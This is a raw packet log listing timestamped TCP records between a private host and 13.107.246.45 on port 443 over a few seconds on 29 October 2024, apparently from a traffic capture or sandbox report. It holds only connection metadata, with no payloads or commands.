Oct 29, 2024 20:38:12.648660898 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.648691893 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.649127007 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.649133921 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.688747883 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.689264059 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.689287901 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.689677000 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.689682961 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.694072008 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.694161892 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.694356918 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.694427013 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.694427013 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.694468975 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.694494963 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.697652102 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.697685957 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.697781086 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.697984934 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.698000908 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.708395004 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.709702015 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.709764957 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.709940910 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.710020065 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.710042953 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.710057974 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.710067034 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.712964058 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.713042021 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.713123083 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.713310957 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.713337898 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.780276060 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.780368090 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.780472994 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.780662060 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.780690908 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.780708075 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.780716896 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.784205914 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.784239054 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.784378052 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.784462929 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.784470081 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.787924051 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.788898945 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.788927078 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.789751053 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.789757013 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.826347113 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.826627016 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.826697111 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.826930046 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.826956987 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.826972961 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.826982021 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.830166101 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.830205917 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.830404997 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.830614090 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.830630064 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.922398090 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.922452927 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.922552109 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.922589064 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.922652960 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.924068928 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.924068928 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.924119949 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.924149036 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.928978920 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.929018021 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:12.929089069 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.929258108 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:12.929270029 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.061605930 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.061650038 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.061813116 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.062277079 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.062292099 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.421768904 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.422519922 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.422549963 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.423103094 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.423110008 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.451675892 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.452275038 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.452302933 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.452817917 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.452831984 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.532551050 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.533071995 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.533085108 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.533519983 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.533525944 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.551877022 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.551953077 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.552269936 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.552642107 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.552664042 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.552675009 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.552680969 CET	443	49858	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.556471109 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.556518078 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.556786060 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.561315060 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.561337948 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.570792913 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.571463108 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.571480989 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.571901083 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.571909904 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.582113981 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.582355022 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.582411051 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.582422972 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.582470894 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.582509041 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.582509041 CET	49859	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.582528114 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.582535982 CET	443	49859	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.585541964 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.585587025 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.585717916 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.585922956 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.585939884 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.663718939 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.664737940 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.664825916 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.664977074 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.670121908 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.670131922 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.670631886 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.670636892 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.670819998 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.670839071 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.670850039 CET	49860	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.670855999 CET	443	49860	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.674002886 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.674041986 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.674160004 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.674283028 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.674294949 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.700587988 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.700804949 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.700907946 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.701194048 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.701194048 CET	49861	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.701210976 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.701220989 CET	443	49861	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.705580950 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.705626965 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.705733061 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.707372904 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.707391024 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.788811922 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.788902044 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.790164948 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.790177107 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.790441990 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.792000055 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.795646906 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.795836926 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.795913935 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.796241999 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.796241999 CET	49862	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.796258926 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.796272993 CET	443	49862	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.799423933 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.799464941 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.799534082 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.799731016 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:13.799742937 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:13.835345030 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511126041 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511158943 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511176109 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511290073 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.511290073 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.511306047 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511354923 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.511464119 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511492968 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511559010 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.511559010 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.511565924 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.511663914 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.513017893 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.514019012 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.514045000 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.514703989 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.514708996 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.551649094 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.551676989 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.551750898 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.551774979 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.551798105 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.551902056 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.638847113 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.639452934 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.639466047 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.640191078 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.640202045 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.641705990 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642106056 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.642117977 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642256975 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642601967 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.642610073 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642646074 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642710924 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.642740965 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.642759085 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.642774105 CET	49865	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.642780066 CET	443	49865	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.646297932 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.646838903 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.646853924 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.647296906 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.647303104 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.647423983 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.648123980 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.648171902 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.648411036 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.648437023 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.648449898 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.648817062 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.648827076 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.649105072 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.649117947 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.667064905 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.667103052 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.667186022 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.667186022 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.667205095 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.667331934 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.771764994 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.771858931 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.772001982 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.772254944 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.772254944 CET	49866	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.772281885 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.772301912 CET	443	49866	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775325060 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775358915 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775424004 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775456905 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775477886 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775588989 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775595903 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775631905 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775669098 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775676012 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775708914 CET	49868	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775713921 CET	443	49868	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.775803089 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.775811911 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.777776957 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.777827978 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.777957916 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.777990103 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.778135061 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.778156996 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.778172970 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.778196096 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.778249025 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.778273106 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.778284073 CET	49867	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.778289080 CET	443	49867	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.779992104 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.780025005 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.780256987 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.780373096 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.780388117 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.784035921 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.784065962 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.784130096 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.784154892 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.784179926 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.784205914 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.897972107 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.898015022 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.898087025 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.898101091 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.898154020 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.898154020 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.971240044 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.971272945 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.971335888 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.971678019 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.971772909 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.971772909 CET	49864	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.971797943 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.971807957 CET	443	49864	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.975326061 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.975378036 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:14.975512981 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.975811005 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:14.975831985 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.013371944 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.013406038 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.013513088 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.013537884 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.013551950 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.014147043 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.059118032 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.059144974 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.059212923 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.059226990 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.059271097 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.059271097 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.173744917 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.173787117 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.173851013 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.173878908 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.173914909 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.173954010 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.277473927 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.277506113 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.277594090 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.277606964 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.277656078 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.392035007 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.392066002 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.392126083 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.392141104 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.392165899 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.392187119 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.430921078 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.431519985 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.431554079 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.432192087 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.432198048 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.507448912 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.507487059 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.507544041 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.507570028 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.507586956 CET	49863	443	192.168.2.4	13.107.246.45
